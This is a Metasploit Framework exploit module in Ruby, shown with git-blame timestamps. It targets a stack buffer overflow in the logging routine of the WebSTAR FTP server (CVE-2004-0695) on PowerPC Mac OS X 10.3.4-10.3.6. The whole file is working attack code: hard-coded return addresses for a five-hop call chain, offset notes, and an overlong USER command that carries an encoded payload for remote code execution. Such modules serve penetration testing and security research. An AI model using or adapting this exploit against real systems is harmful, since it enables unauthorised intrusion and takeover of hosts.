2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 00:04:26 +00:00
|
|
|
require 'msf/core'
|
2005-11-25 20:31:34 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-11-25 20:31:34 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2005-11-25 20:31:34 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-11-25 20:31:34 +00:00
|
|
|
'Name' => 'WebSTAR FTP Server USER Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the logging routine
|
2005-11-25 20:31:34 +00:00
|
|
|
of the WebSTAR FTP server. Reliable code execution is
|
|
|
|
obtained by a series of hops through the System library.
|
|
|
|
},
|
2009-09-27 21:30:45 +00:00
|
|
|
'Author' => [ 'ddz', 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-25 20:31:34 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'CVE', '2004-0695'],
|
2005-11-25 20:31:34 +00:00
|
|
|
[ 'OSVDB', '7794'],
|
|
|
|
[ 'BID', '10720'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 300,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
2005-11-25 20:33:54 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => "+find"
|
|
|
|
},
|
2005-11-25 20:31:34 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-25 20:31:34 +00:00
|
|
|
[
|
|
|
|
[
|
|
|
|
'Mac OS X 10.3.4-10.3.6',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC,
|
|
|
|
'Rets' => [ 0x9008dce0, 0x90034d60, 0x900ca6d8, 0x90023590 ],
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 13 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
|
|
|
OptString.new('MHOST', [ false, "Our IP address or hostname as the target resolves it" ]),
|
|
|
|
], self)
|
2005-11-25 20:31:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# crazy dino 5-hop foo
|
|
|
|
#$ret = pack('N', 0x9008dce0); # call $r28, jump r1+120
|
|
|
|
#$r28 = pack('N', 0x90034d60); # getgid()
|
|
|
|
#$ptr = pack('N', 0x900ca6d8); # r3 = r1 + 64, call $r30
|
|
|
|
#$r30 = pack('N', 0x90023590); # call $r3
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-25 20:31:34 +00:00
|
|
|
# The offset to the return address is dependent on the length of our hostname
|
|
|
|
# as the target system resolves it ( IP or reverse DNS ).
|
|
|
|
mhost = datastore['MHOST'] || Rex::Socket.source_address(datastore['RHOST'])
|
|
|
|
basel = 285 - mhost.length
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-25 20:31:34 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
# ret = 296
|
|
|
|
# r25 = 260
|
|
|
|
# r26 = 264
|
|
|
|
# r27 = 268
|
|
|
|
# r28 = 272
|
|
|
|
# r29 = 276
|
|
|
|
# r30 = 280
|
|
|
|
# r31 = 284
|
|
|
|
|
|
|
|
# r1+120 = 408
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
buf = rand_text_alphanumeric(basel + 136 + 56, payload_badchars)
|
2005-11-25 20:31:34 +00:00
|
|
|
buf[basel + 24, 4] = [ target['Rets'][0] ].pack('N') # call $r28, jump r1+120
|
|
|
|
buf[basel , 4] = [ target['Rets'][1] ].pack('N') # getgid()
|
|
|
|
buf[basel + 136, 4] = [ target['Rets'][2] ].pack('N') # (r1+120) => r3 = r1 + 64, call $r30
|
|
|
|
buf[basel + 120, 4] = [ target['Rets'][3] ].pack('N') # call $r3
|
|
|
|
buf << payload.encoded
|
|
|
|
|
|
|
|
send_cmd( ['USER', buf] , true )
|
|
|
|
send_cmd( ['HELP'] , true )
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
handler
|
2005-11-25 20:31:34 +00:00
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-09-12 04:22:58 +00:00
|
|
|
end
|